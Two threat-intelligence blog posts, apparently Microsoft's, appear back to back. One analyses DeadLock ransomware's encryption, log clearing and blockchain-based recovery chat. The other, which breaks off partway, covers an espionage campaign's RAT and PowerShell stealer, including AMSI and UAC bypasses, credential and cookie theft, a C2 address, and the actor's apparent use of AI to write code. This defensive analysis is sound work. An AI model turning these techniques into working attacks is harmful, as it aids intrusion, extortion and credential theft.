Microsoft Threat Intelligence tracks DeadLock ransomware as an emerging financially motivated operation distinguished by its use of decentralized infrastructure to support victim communications and data leak operations. Its recovery ecosystem combines the Session messaging network with blockchain-backed services that store and deliver resources used throughout the extortion process. This architecture likely increases the resilience of portions of its communication, leak-hosting, and negotiation infrastructure, allowing DeadLock operators to recover from some disruption efforts while maintaining continuity for victims. Microsoft has observed DeadLock ransomware being deployed by multiple groups including an affiliate of the Lynx and INC ransomware ecosystems.

First observed in July 2025, DeadLock operators employ double extortion tactics, encrypting victim environments while threatening to publicly release exfiltrated data. As of July 2026, the operators have published more than 80 compromised organizations on their data leak site, called the DeadLock blog, with more than half of the claimed victims in Europe. Microsoft identified DeadLock ransomware impacting organizations across information technology (IT), mining, transportation and logistics, manufacturing, hospitality, consumer goods, and other sectors in Europe, Asia, North America, South America, and Africa.

The DeadLock encryptor includes a resource-aware throttling mechanism designed to maintain system responsiveness during encryption. In addition to its encryption capabilities, the ransomware also appears to implement language or country-based geofencing designed to avoid running in environments associated with former Soviet and Commonwealth of Independent States (CIS)-linked countries as well as select Middle Eastern countries, a pattern commonly observed among ransomware operators believed to operate from those regions. Together, these capabilities demonstrate how DeadLock combines established ransomware tradecraft with decentralized infrastructure designed to improve operational resilience.

In this blog, we present a technical analysis of the DeadLock ransomware encryptor, covering its execution flow, defense evasion techniques, encryption design, and post-encryption behaviors, including a decentralized recovery chat system. We also provide indicators of compromise (IOCs), Microsoft Defender detections, and mitigation guidance to help organizations defend against this threat and similar ransomware activity.

Pre-encryption

Configuration parsing

Before performing any malicious activity, the DeadLock encryptor decrypts an embedded configuration blob using XOR decoding with an 8-byte key.

Below are the malware’s configuration fields and their values.

Language geofencing

As an early exit check, the malware queries the system’s default and user interface (UI) languages. If either language matches the exclude list in the configuration, the malware self-deletes immediately without performing any encryption.

The following languages trigger this exit behavior:

Command-line processing and privilege elevation

The encryptor’s behavior branches based on command-line arguments and the current privilege level. If a target directory path is provided as the command-line argument, the malware skips all preparation steps and jumps directly to encryption. This feature allows the operator to invoke the encryptor with specific targets for focused encryption. If no sub-commands are provided and the process is already elevated, the malware proceeds normally through all execution phases.

The more interesting case occurs when no command-line argument is provided while the process is not elevated. In this scenario, the malware attempts to gain administrator privileges through a batch-script-based elevation technique. It generates a randomly named .cmd file (8 uppercase characters, such as ESYEKQSY.cmd) and executes it using ShellExecuteW with the RunAs verb, which triggers the Windows User Account Control (UAC) consent dialog. If the user denies the prompt, the malware retries up to 10 times before giving up and exiting.

During dynamic analysis, the sample did not successfully relaunch itself with elevated privileges. As a result, full pre-encryption preparation appears to require execution from an already elevated context. When invoked with a target path, the malware bypasses preparation and proceeds directly to encrypt accessible files. This behavior is specific to the analyzed sample and may change in later variants.

Token privilege escalation

When running with administrator privileges, the malware further expands its access by enabling SeDebugPrivilege, SeRestorePrivilege, SeBackupPrivilege, SeTakeOwnershipPrivilege, SeAuditPrivilege, and SeSecurityPrivilege. These privileges increase the malware’s ability to interact with system processes, protected files, and security-related settings, helping it overcome common access restrictions and maximize the scope of files and resources it can target during the encryption phase.

Recycle bin emptying

The malware silently empties the recycle bin on all drives without any UI or confirmation dialog, eliminating a potential source of file recovery for victims.

Custom icon registration

To visually brand encrypted files, the malware writes an embedded .ico file to C:\ProgramData\<UID>.ico and registers it as the default icon for files with the extension .dlock.

To associate the custom icon with encrypted files, the ransomware creates the HKLM\SOFTWARE\Classes\.dlock\DefaultIcon registry key and sets its (Default) value to the path of the dropped icon file.

Below is the malware’s embedded .ico file.

Process and service termination

Before starting encryption, the malware terminates processes and disables services that could interfere with file access or provide defensive capabilities. This approach ensures that locked files become accessible for encryption while simultaneously disrupting the environment’s ability to detect, respond to, or recover from the attack.

For services, the malware enumerates all active Win32 services and compares them against the stop list in the configuration. For each matching service, DeadLock sets its start type to DISABLED and sends a stop command to terminate that service. Notable targets include windefend (Windows Defender), vss/swprv/wbengine (Volume Shadow Copy and Backup services), mssearch, Hyper-V services (vmcompute, vmms), and Active Directory services (adws, ntds, kdc). Below is the full service stop list in the malware configuration:

For processes, the malware enumerates all running processes and terminates any matching its stop list while skipping its own process ID. Targeted processes include security tools (msmpeng, securityhealthservice, smartscreen), backup and cloud sync applications (onedrive, dropbox, googledrivefs, owncloud), remote access tools (anydesk, putty, mstsc, rustdesk), shell and system processes (explorer, powershell, taskmgr, cmd), and search/indexing services. Below is the full process stop list in the malware configuration:

Event log clearing

To eliminate forensic evidence, the malware employs three complementary methods that collectively ensure every event log channel on the system is cleared of existing entries, disabled from recording future events, and has its access permissions locked down:

• Direct clearing: Clears the following log channels via the classic Event Log API: Application, Security, Setup, Servicing, Eventlog, Forwarded Events, Windows PowerShell, and System.
• Registry-based disabling: Enumerates every sub-key under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels. For each channel, sets Enabled to 0 (disabling all future logging) and overwrites ChannelAccess with a restrictive Security Descriptor Definition Language (SDDL) string that limits access to SYSTEM, built-in administrators, and local admin.
• Modern API enumeration: Uses wevtapi.dll to enumerate all registered event log channel paths (including custom application channels not in the hardcoded list) before clearing each one.

By combining API-based clearing, registry manipulation, and full channel enumeration, the malware covers multiple log sources, including third-party application logs and custom diagnostic channels, to minimize existing forensic evidence on the infected device.

Directory traversal

To maintain system stability and ensure the victim can access ransom instructions, the malware excludes specific directories, file extensions, and file names from encryption. This selective encryption model is a common ransomware design pattern where the system must remain operational enough for the victim to receive instructions and facilitate payment.

Extensions and file names from the configuration’s file exclude list are skipped during encryption:

For directory processing, the malware uses a two-tier directory exclusion system applied at different stages of the encryption pipeline. Tier 1 provides rough filtering that saves significant time by avoiding traversal overhead, while tier 2 provides granular path-specific exclusions within directories that are traversed. Both prevent encryption, but they operate at different stages of the traversal pipeline.

In its pre-traversal phase (tier 1), the malware checked at the drive batch level before threads are spawned for traversal. If a top-level directory matches against the configured directory exclude list (\users\*\appdata, program files (x86)\, program files\, and programdata\), the entire tree is skipped without being walked.

In its during-traversal phase (tier 2), the malware checked the file name during recursive directory enumeration and applied to both subdirectories and files as they are encountered. In this tier, the directory and file names are checked against the configured sub-path exclude list below.

Encryption

Resource-aware throttling

One of the more distinctive aspects of the DeadLock encryptor is its resource-aware throttling mechanism, designed to keep the infected system responsive during encryption. The malware spawns a dedicated monitoring/dispatch thread per drive batch that acts as a gatekeeper for file encryption dispatch. Before dispatching each new file to be encrypted, this thread polls system resource utilization and checks against hardcoded thresholds:

1. Polls memory and CPU idle before each file dispatch
2. Calculates memory usage percentage and CPU idle percentage
3. If memory usage exceeds 29% or CPU load exceeds 70% (idle < 30%), the dispatch thread pauses via a waitable timer and retries until resources return below thresholds
4. Once thresholds are within limits, atomically sets a dispatch flag on the work queue and signals waiting encrypting worker threads

With this mechanism, worker threads already encrypting files are not interrupted, and only the dispatch of new files is gated. This means partially encrypted files are expected to complete, and the throttling manifests as reduced parallelism rather than stop/start behavior. This approach can prevent system hangs that would alert the user and reduce the likelihood of behavioral detection by maintaining normal-looking resource consumption patterns.

Thread architecture

For the encryption work itself, the malware spawns directory processing threads, with the thread count being 2 times the CPU core number. Each thread recursively traverses directories, dropping ransom notes and dispatching files for encryption. Individual file encryption threads are tasked with handling the actual cryptographic operations.

Cryptographic scheme

The DeadLock ransomware implements a hybrid cryptographic design that combines Curve25519 elliptic-curve cryptography with the XChaCha20 stream cipher for file encryption. Key encapsulation uses the Networking and Cryptography Library (NaCl) crypto_box construction, which pairs an asymmetric key exchange with authenticated encryption to securely wrap each file’s symmetric key.

The configuration’s operator public key 03bf50bbf97c4e951e66ff12b689a37a3ce675b4921e254eae76da77573843e4a9 is 33 bytes. The leading 03 byte is a SEC1 compressed point format prefix borrowed from Bitcoin/secp256k1. The malware validates this prefix byte against a lookup table that accepts 00, 02, 03, 04, and 05, mapping each to an expected key length.

After format validation, only the remaining 32 bytes are used in the actual Curve25519 ECDH scalar multiplication. This SEC1 prefix is non-standard for Curve25519, which natively uses bare 32-byte keys, and the malware author has likely adopted it for format versioning across their builder and decryptor tooling.

Per-file encryption process

For each target file, the malware performs the following sequence of operations:

1. Rename the target file from <filename> to <filename>.<UID>.dlock
2. Open the renamed file and retrieve file size/attributes
3. Clear the system attribute if FILE_ATTRIBUTE_SYSTEM is set
4. Determine the encryption strategy based on file size (see File size-based encryption strategy)
5. Generate cryptographic material:
6. 32-byte random XChaCha20 key
7. 24-byte random XChaCha20 nonce (first 16 bytes for HChaCha20 subkey derivation, last 8 bytes as stream nonce)
8. 32-byte random ephemeral Curve25519 private key
9. 12-byte random file tag (only the first byte is functionally referenced by the encryptor to derive padding length; the remaining 11 bytes serve as a random file identifier written to the cleartext footer, likely used by the decryptor for file correlation/tracking)
10. 1–10 bytes random padding (length = file_tag[0] % 10 + 1)
11. Perform Curve25519 ECDH: Multiply the ephemeral private key by the attacker’s embedded public key to derive a shared secret
12. Build metadata plaintext: XChaCha20 key + 24-byte XChaCha20 nonce + random padding + dDlK magic + optional FA flag + chunk parameters
13. Encrypt metadata using crypto_box (XSalsa20-Poly1305) with the ECDH shared secret and a zero nonce
14. Encrypt file content using XChaCha20 with the generated key and 24-byte nonce
15. Append the encrypted footer/metadata to the end of the file

The use of a zero crypto_box nonce is worth noting. This is cryptographically safe because each file generates a unique ephemeral Curve25519 keypair, which produces a unique ECDH shared secret per file. With this, a constant zero nonce never repeats with the same key.

The entire design ensures that each file is encrypted with a distinct key derived from a per-file ephemeral key exchange, eliminating any possibility of key reuse across files. Overall, the cryptographic construction is sound and does not present a practical path to decryption without the attacker’s private key.

File size-based encryption strategy

To balance encryption thoroughness with speed, the malware implements a tiered encryption policy based on file size. The encryption rule in the configuration 1000,05052429880,025124288000,010524288000,F991114288000 encodes this policy. Each comma-separated entry is parsed by splitting at position 3: the first 3 characters represent the encryption percentage (decimal), and the remaining characters represent the file size threshold (decimal bytes). The special prefix F replaces the percentage field with a chunked-full mode.

Rules are evaluated in order, and the last matching rule wins. For example, when the malware processes a 2 GB file, all rules match, but the final F99… entry will determine the encryption behavior.

For partial encryption, the malware calculates:

• Total bytes to encrypt = ceil(file_size × (percentage / 100))
• Encrypted block count = ceil(total_bytes_to_encrypt / 512)
• Skip interval = floor((file_size − total_bytes_to_encrypt) / encrypted_block_count)

This creates an intermittent encryption pattern where 512-byte blocks are encrypted at regular intervals throughout the file. The result is a file that is rendered unusable while requiring only a fraction of the time needed for full encryption. This is a crucial optimization for the ransomware when targeting large files such as databases, virtual machine images, and backups.

File footer

After encryption, the malware appends a structured metadata blob to the end of each file. This footer contains all the information the decryptor needs to reverse the encryption, along with markers for format validation:

The footer serves several important functions:

Key and nonce reconstruction: The cleartext ephemeral Curve25519 public key (33 bytes) at the end of the footer allows the decryptor to recompute the ECDH shared secret and open the crypto_box to recover the XChaCha20 key and nonce used for file content encryption.

Inner dDlK magic (decryption validation): After the decryptor opens the crypto_box, it checks for the dDlK marker at the expected offset (32 + 24 + padding_length bytes into the plaintext) to confirm the correct private key was used and that decryption succeeded. While the Poly1305 Message Authentication Code (MAC) already provides cryptographic integrity verification, this marker offers a fast format-level sanity check.

FA flag (decryption mode indicator): This flag is used by the decryptor to determine which read strategy to use when reversing the encryption. It is present when the file was encrypted using sequential/contiguous block encryption, and absent when intermittent/skip encryption was used. Specifically, FA is appended in two cases:

1. F-prefix rule matched: When the file size triggers the F991114288000 config entry (the special chunked-full mode), the FA flag is always set.
2. Percentage rule with zero skip interval: When a percentage-based rule matches but the calculated skip interval between encrypted chunks works out to zero (meaning the percentage effectively covers the entire file), FA is also set.

Without this flag, the 8-byte chunk parameters in the footer would be ambiguous as they could represent either a block count or a skip interval. The FA flag resolves this ambiguity and enables the decryptor to correctly reconstruct the original file.

File identifier/format tag: The 12-byte random value in the cleartext footer serves as a file identifier (with the first byte used to derive the padding length inside the encrypted payload).

Post-encryption

Wallpaper

As an immediate visual indicator of compromise, the malware generates a custom BMP wallpaper file at runtime using the victim’s screen resolution. Below is an example of the generated BMP wallpaper:

The wallpaper is written to C:\ProgramData\<UID>.bmp (on Vista and later) or C:\Documents and Settings\All Users\Application Data\<UID>.bmp (on XP), set as the desktop background, and persisted in the registry at HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Wallpaper.

Ransom notes deployment

After encrypting files, the malware deploys two types of ransom notes, each with distinct deployment logic and purpose:

Text note (HOW_RECOVER.<UID>.txt): The text note is dropped into every encrypted directory, but with a notable timing behavior: it is only deployed during the second pass of the directory processing loop. The malware iterates over drive batches multiple times, and the text note drop is gated by an iteration counter. On the first pass, the text note is suppressed, likely to prioritize encryption speed before littering the file system with ransom note files. For defenders and analysts, this has a practical implication: if testing with a minimal drive configuration that only triggers a single iteration, the text note will never appear.

Below is the text note content from the malware’s configuration.

HTML note (RECOVERY_CHAT.<UID>.html): This file is dropped to all drive root directories and all Desktop folders. Unlike the text note, the HTML note is a full interactive web application with a self-contained single-page application that implements end-to-end encrypted chat, a paginated data leak blog, and a file browser, all without requiring a traditional backend server. The technical architecture of this recovery chat system is detailed in Recovery chat: Technical architecture.

Recovery chat: Technical architecture

The most distinctive feature of the DeadLock ransomware is its recovery chat system. The RECOVERY_CHAT.<UID>.html file is a self-contained HTML application that implements a full end-to-end encrypted chat system, a paginated data leak blog, and a file browser, all without requiring a traditional backend server.

The architecture is designed with three decentralized components.

Polygon blockchain as configuration store

Rather than relying on traditional domain-based infrastructure that can be seized or taken offline, the DeadLock operators store configuration data on the Polygon blockchain. Two smart contracts serve as censorship-resistant infrastructure:

The HTML page issues eth_call requests to public Polygon Remote Procedure Call (RPC) endpoints (no wallet required with read-only calls) to obtain the proxy server address. The blog contract takes offset and limit parameters (for pagination) and returns structured data including post titles, bodies, timestamps, image URLs, and file attachment links.

On-chain storage provides several strategic advantages for the threat actor: the proxy URL can be updated by modifying the smart contract without changing any victim-facing infrastructure, and no domain registration or DNS infrastructure is required. This represents a notable evolution in ransomware infrastructure design.

The HTML recovery chat cycles through six public RPC endpoints for redundancy: polygon-bor-rpc.publicnode[.]com, polygon.drpc[.]org, polygon-pokt.nodies[.]app, polygon-rpc[.]com, 1rpc[.]io/matic, and polygon.meowrpc[.]com.

Session network for end-to-end encrypted chat

For victim-operator communication, chat messages are routed through the Session decentralized messenger network, which is an onion-routed, swarm-based messaging protocol that provides anonymity for both parties. The proxy server (whose URL is retrieved from the blockchain) acts as a relay between the victim’s browser and Session swarm nodes.

Key generation: DeadLock’s design choice is that the victim’s Session identity is derived deterministically from their sign-in credentials. When the victim enters their credentials on the HTML page, the following derivation occurs:

This deterministic derivation means the same credentials always produce the same keypair, and no account registration is needed as the victim’s Session identity exists only when they enter the correct credentials. If the victim forgets their credentials, the identity is unrecoverable (as stated by the actor in the chat UI). The 05 prefix is Session’s standard network identifier for user accounts.

Sending a message: The following sequence occurs when a message is sent:

1. Encode the body and timestamp as protobuf
2. Create an actor message and a self-sync copy
3. Pad plaintext to 160-byte boundary
4. Sign the padded content and key context with Ed25519
5. Append the sender public key and signature
6. Seal each payload with the recipient’s Curve25519 key
7. Wrap in Session’s onion request protobuf format (verb: PUT, path: /api/v1/message)
8. Ask the proxy to submit both copies to their respective swarms

Receiving a message: The following sequence occurs when a message is received:

1. Sign “retrieve” + timestamp with the victim’s Ed25519 key
2. Select a node associated with the victim’s own swarm
3. Ask the proxy to poll for messages addressed to that identity
4. Open each sealed box with the victim’s Curve25519 keypair
5. Remove the appended public key and signature
6. Strip padding, decode protobuf, and extract the message body

Data leak blog and Wasabi file hosting

The recovery chat page also provides access to a data leak blog whose content is stored on the Polygon blockchain.

Blog posts retrieved from the smart contract support BBCode formatting, image galleries, and file attachments using either direct URLs or Wasabi protocol links that open an in-browser file explorer. The HTML application contains a full Amazon Web Services (AWS) S3-compatible file browser that parses the Wasabi credentials from the URI, generates AWS4-HMAC-SHA256 signed requests, lists bucket contents with folder navigation, and generates pre-signed download URLs for individual files. This allows the attacker to host stolen data on Wasabi and provide victims or the public with browsable access to the leaked files without running a web server.

Infrastructure resilience summary

The architecture is significantly more resilient to takedown and censorship efforts, but it is not independent of off-chain infrastructure:

• Proxy replacement: The actor can update the on-chain proxy URL without changing the HTML
• On-chain persistence: Contract-stored blog data is resistant to conventional hosting takedowns
• RPC dependency: The page still requires access to at least one public Polygon RPC endpoint
• Proxy dependency: Chat access depends on the current custom proxy remaining reachable
• Storage dependency: Images and leaked files can be removed from CDN or Wasabi hosting
• Session resilience: Distributed swarm storage reduces reliance on a single messaging server

This infrastructure model represents a meaningful evolution from traditional ransomware communication channels and poses new challenges for takedown efforts.

Self-deletion

As a final cleanup step after encryption completes, the malware creates a batch to delete its own binary from disk. The cleanup batch loops until it successfully deletes the malware binary, then removes itself:

Defending against DeadLock ransomware

Microsoft recommends the following mitigations to reduce the impact of this threat.

• Read the human-operated ransomware threat overview for advice on developing a holistic security posture to prevent ransomware, including credential hygiene and hardening recommendations. 
• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants. 
• Run endpoint detection and response (EDR) in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach. 
• Turn on tamper protection features to prevent attackers from stopping security services. In addition to tamper protection, you can also enable and configure Microsoft Defender Antivirus always-on protection in Group Policy. 
• Configure investigation and remediation in full automated mode to let Microsoft Defender for Endpoint take immediate action on alerts to resolve breaches, significantly reducing alert volume. 
• Configure automatic attack disruption in Microsoft Defender XDR. Automatic attack disruption is designed to contain attacks in progress, limit the impact on an organization’s assets, and provide more time for security teams to remediate the attack fully. 
• To help preserve existing systems in the event of a ransomware attack, configure a Controlled Folder Access (CFA) policy to be as strict as possible. CFA protects valuable data from threats like ransomware by preventing write access to common system folders; more folders can also be added. Establishing this policy ahead of a ransomware event can enable organizations to respond quickly to ransomware signals, deploying the CFA policy to limit the destructive impact of an active attack. In certain instances, a CFA policy can also be leveraged proactively on specific sensitive assets that will not be negatively impacted by restrictive protections. Use audit mode to evaluate the impact to your organization in these cases. 
• Microsoft Defender XDR customers can turn on attack surface reduction rules to prevent several of the infection vectors of this threat. These rules, which can be configured by any user, offer significant hardening against targeted attacks. In observed attacks, Microsoft customers who had the following rules turned on could mitigate the attack in the initial stages and prevent hands-on-keyboard activity:  
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion 
  • Block process creations originating from PSExec and WMI commands (Some organizations might experience compatibility issues with this rule on certain server systems but should deploy it to other systems to prevent lateral movement originating from PsExec and WMI) 
  • Use advanced protection against ransomware 

You can assess how an attack surface reduction rule might impact your network by opening the security recommendation for that rule in Vulnerability management. In the Recommendation details pane, check the user impact to determine what percentage of your devices can accept a new policy enabling the rule in blocking mode without adverse impact to user productivity.   

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Defender Antivirus

Microsoft Defender Antivirus detects threat components as the following malware:

• Ransom:Win32/Deadlock.*

Microsoft Defender for Endpoint

The following alerts might indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware-linked threat actor detected
• Ransomware behavior detected in the file system
• Possible ransomware activity
• File backups were deleted
• Potential human-operated malicious activity
• Possible data exfiltration
• Suspicious wallpaper change

The following alerts might indicate threat activity associated with DeadLock ransomware if Defender for Endpoint is set to block mode.

• ‘DeadLock’ ransomware was detected
• ‘DeadLock’ ransomware was prevented

Microsoft Defender for Cloud Apps

The following alert might indicate threat activity associated with this threat. This alert, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report.

• Ransomware activity

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Threat intelligence reports

Microsoft Defender XDR customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender XDR product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

• Tool profile: Deadlock ransomware
• Tool profile: Lynx ransomware
• Tool profile: INC ransomware
• Threat overview profile: Human-operated ransomware

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Indicators of compromise

Learn more

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The post DeadLock ransomware: Breaking down a Rust-based encryptor with decentralized recovery infrastructure appeared first on Microsoft Security Blog.

Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945, a sub-cluster of Midnight Blizzard, conducting widespread but targeted traffic manipulation attacks involving hospitality sector networks served by captive portals worldwide. Despite some tactic, technique, and procedure (TTP) similarities to the Forest Blizzard DNS hijacking operation that we publicly disclosed in April 2026, we attribute this campaign, which we call CaptiveCrunch, to Storm-2945. As reported by ReliaQuest on July 23, a portion of this activity leverages doppelganger domains mimicking Microsoft online services to conduct follow-on adversary-in-the-middle (AitM) phishing operations that abuse the device code authentication flow in Microsoft Entra ID. Microsoft Threat Intelligence has also identified active traffic manipulation attacks leading to the delivery of malware on impacted systems. Microsoft has observed Storm-2945 leveraging AI to support a significant portion of these operations.

Today, we are sharing our findings on these ongoing intrusions to raise awareness of this threat and enable customers to protect their devices, especially while traveling. We provide our assessment of Storm-2945’s relationship to Midnight Blizzard and analysis of the CaptiveCrunch campaign, detailing the malware and tradecraft used in these operations. We also provide mitigation, detection, and hunting guidance to help organizations identify and defend against Storm-2945 and related activity.

Microsoft Threat Intelligence would like to thank our partners at Anthropic and OpenAI for their collaboration and support during this investigation.

The CaptiveCrunch campaign

Since February 2026, Storm-2945 has conducted AI-augmented operations including targeted device code and OAuth code phishing campaigns leading to Entra device registration and subsequent data collection from Microsoft 365. Since early May 2026, Microsoft Threat Intelligence has observed Storm-2945 manipulating DNS and HTTP traffic from networks served by captive portals to redirect user traffic through actor-controlled infrastructure. Although our investigation into the initial compromise vector for the captive portal networks is ongoing, we have observed notable commonalities in the equipment and management systems used across multiple affected networks. These similarities suggest that the activity might not be limited to isolated compromises of individual venues and could reflect access to shared services within portions of the captive portal ecosystem.

As part of the CaptiveCrunch campaign, Storm-2945 has leveraged their AitM position to redirect users through actor-controlled phishing infrastructure and has also delivered malware purporting to be browser or operating system updates in response to automated connectivity checks issued by users’ browsers. Multiple variants have been delivered, including fully-featured Windows remote access trojans (RAT) in compiled Golang, with functionality to conduct system enumeration, collect files and keystrokes, steal credentials and session tokens, conduct audio and video surveillance, monitor for removable media, and provide the threat actor a remote shell on infected systems.  

The threat actor infrastructure leverages a variety of ClickFix techniques to elicit the user into downloading and executing the malware:

In addition to variants of malware targeting Windows systems, Microsoft Threat Intelligence is also aware of indications that the threat actor might be targeting Android devices with similar techniques as the ClickFix landings also include instructions for Android devices to download and install an APK file.

To date, Microsoft has identified widespread compromise of Wi-Fi networks at hospitality-related organizations and other networks serviced by captive portal equipment in several countries. ReliaQuest has identified this activity not only at hotels, but also conference centers and other shared venues, and assesses that the goal of this activity is to access the accounts of corporate travelers.

Storm-2945 and Midnight Blizzard

Microsoft Threat Intelligence assesses that Storm-2945 is an operational sub-cluster of Midnight Blizzard based on distinctive technical and operational overlaps. These include technical similarities to Storm-2372, a Midnight Blizzard initial access operations sub-cluster, also notable for their device code and OAuth code phishing operations tracked throughout 2025, Microsoft Graph-based email exfiltration, social engineering delivered via commercial messaging apps, and significant similarities in victimology.

Midnight Blizzard is a Russia-based threat actor attributed by the US and UK governments to the Foreign Intelligence Service of the Russian Federation, also known as the SVR. This threat actor is known to primarily target governments, diplomatic entities, non-governmental organizations (NGOs), and information technology (IT) service providers, primarily in the US and Europe. Midnight Blizzard is consistent and persistent in their operational targeting, and their objectives rarely change. Their focus is to collect intelligence through longstanding and dedicated espionage in support of Russian foreign policy interests.

Midnight Blizzard operations often involve compromise of valid accounts and, in some highly targeted cases, advanced techniques to compromise authentication mechanisms within an organization to expand access and evade detection. They utilize diverse initial access methods, and Midnight Blizzard is also adept at identifying and abusing OAuth applications to move laterally across cloud environments and for post-compromise activity, such as email collection.

CaptiveCrunch tradecraft and tooling

CornFlake: Remote access and infostealer implant

CornFlake is a full-featured Windows RAT written in Go that serves as Storm-2945’s primary persistent implant. Microsoft has observed the threat actor rapidly iterating on this malware layer, which features customizable capabilities from the social engineering user interface and data collection capabilities to anti-detection and evasion techniques.

On initial execution, CornFlake operates in dropper mode: it displays a convincing fake progress window designed to occupy the victim’s attention while the binary copies itself to %APPDATA%\svchost32\svchost32.exe and establishes persistence.

Fake window options configurable by the threat actor at build time:

• winupdate — A Windows Update screen displaying “Working on updates… Don’t turn off your computer”
• defender — A Windows Security virus scan
• directx — A DirectX End-User Runtime Web Installer
• vcredist — A Microsoft Visual C++ 2015-2022 Redistributable installer
• sysopt — A disk optimization utility
• netfix — A Windows Network Diagnostics tool
• browser — A browser update prompt
• pdfview — A document viewer installer

CornFlake registers as a Windows service named svchost32 with the display name “Cloud Sync Service” and description “Synchronizes files with the cloud storage provider”, deliberately mimicking the legitimate svchost.exe process. It establishes redundant persistence mechanisms: Windows service registrations, Registry Run keys, named scheduled tasks, and a persistence watchdog routine that runs continuously to restore any persistence mechanism that is removed by defenders or endpoint protection.

For command and control (C2), CornFlake performs an Elliptic Curve Diffie-Hellman (ECDH) P-256 ephemeral key exchange with the C2 server, derives a session key via SHA-256, and communicates over a custom JSON protocol framed within the encrypted channel. This provides an encrypted channel to the C2 server, with each C2 session using a unique ephemeral key, making decryption of captured traffic impossible without the session-specific private key. The runtime configuration file sync.dat supports hot reconfiguration of C2 servers, watched directories, file targeting patterns, and Transport Layer Security (TLS) settings without requiring redeployment.

Once established on a victim system, CornFlake provides the operator with a comprehensive collection toolkit, gated by configuration flags that allow selective activation post-deployment:

CornFlake also exposes a localhost HTTP API server (/upload, /reload, /status) that transforms the RAT into a modular platform: companion or next-stage payloads such as ChocoShell could task file exfiltration, trigger configuration hot reloads or check C2 connectivity using the pre-established secure C2 channel for communication.

ChocoShell: PowerShell infostealer

ChocoShell is the campaign’s Powershell-based infostealer, delivered and executed entirely in-memory. Its primary objective is the high-volume theft of browser session cookies, saved passwords, Microsoft 365 Single Sign-On (SSO) tokens, and Wi-Fi credentials from compromised systems. Where CornFlake provides the operator with a persistent, long-running foothold on the device, ChocoShell is designed to extract the most operationally valuable credentials, giving the operator access to victim cloud environments.

The ChocoShell script was authored with full developer comments that reveal the operator’s intent behind each code decision, including explicit references to Microsoft detection signatures and the reasoning behind specific evasion choices. The consistent coding standard and descriptive commentary suggest the author might have leveraged AI-assisted code generation.

Defense evasion. Upon execution, ChocoShell beacons to a hardcoded C2 server at 213.145.86[.]112 and implements several evasion techniques in sequence. It disables the Antimalware Scan Interface (AMSI) via .NET reflection to prevent ScriptBlock scanning and evades Microsoft behavioral detection that triggers on suspicious PowerShell web request cmdlets. A timing-based sandbox detection check is also employed as a virtual machine (VM) detection mechanism, silently exiting without performing any collection if detected.

C2 communication. ChocoShell communicates with its C2 server using HTTPS with URI paths designed to blend in with legitimate web traffic. Beacons use /t/pixel.gif?m=<status>, mimicking an image tracking pixel. Additional tooling is fetched from /cdn/chunks/polyfill-7e2b.min.js, disguised as a JavaScript polyfill file. This downloaded module is Base64-decoded and executed in memory via [ScriptBlock]::Create(), providing browser encryption key extraction capabilities, SYSTEM token impersonation, and Defender signature locking. Exfiltrated data is sent by POST to /t/event as GZip-compressed, Base64-wrapped JSON.

Privilege escalation. ChocoShell requires administrative privileges for its most impactful capabilities: SYSTEM token impersonation for Chrome ABE decryption, Volume Shadow Copy Service (VSS) shadow copy creation, Defender signature locking. It implements three silent UAC bypass techniques with ordered fallback:

1. SilentCleanup task hijack: Writes a malicious command to HKCU\Environment\windir, then triggers the built-in SilentCleanup scheduled task, which resolves %windir% from the user’s environment, executing the threat actor’s command at elevated privilege. The registry value is cleaned up after two seconds to avoid cloud detection.
2. wsreset.exe COM hijack: Creates a COM handler key in HKCU\Software\Classes and launches the auto-elevating Windows Store reset tool.
3. sdclt.exe folder hijack: Hijacks HKCU\Software\Classes\Folder\shell\open\command and launches the Windows Backup utility with the /KickOffElev flag.

If none of the silent bypasses succeed (for example, the user is not a local administrator), ChocoShell falls back to a visible UAC prompt via Start-Process -Verb RunAs. Notably, the script also contains a variant designed to execute within the WinGet Desired State Configuration (DSC) host process (ConfigurationRemotingServer), suggesting an attack vector through malicious WinGet DSC configuration used in Windows machine provisioning.

Credential and session theft. Once running with elevated permissions, ChocoShell locks Defender signature updates and systematically harvests data from multiple sources. For Chromium-based browsers (Chrome, Edge, Brave, Opera, Opera GX, Vivaldi), it extracts the master encryption key from the browser’s Local State file, handling both the modern ABE scheme (Chrome v127+) and the legacy data protection API (DPAPI)-only scheme. ABE decryption requires SYSTEM-level DPAPI access, which the malware obtains by impersonating a SYSTEM process token borrowed from winlogon.exe, wininit.exe, or services.exe. Locked browser SQLite databases are accessed through three strategies: shared file access, Volume Shadow Service snapshots, and direct copy as a fallback.

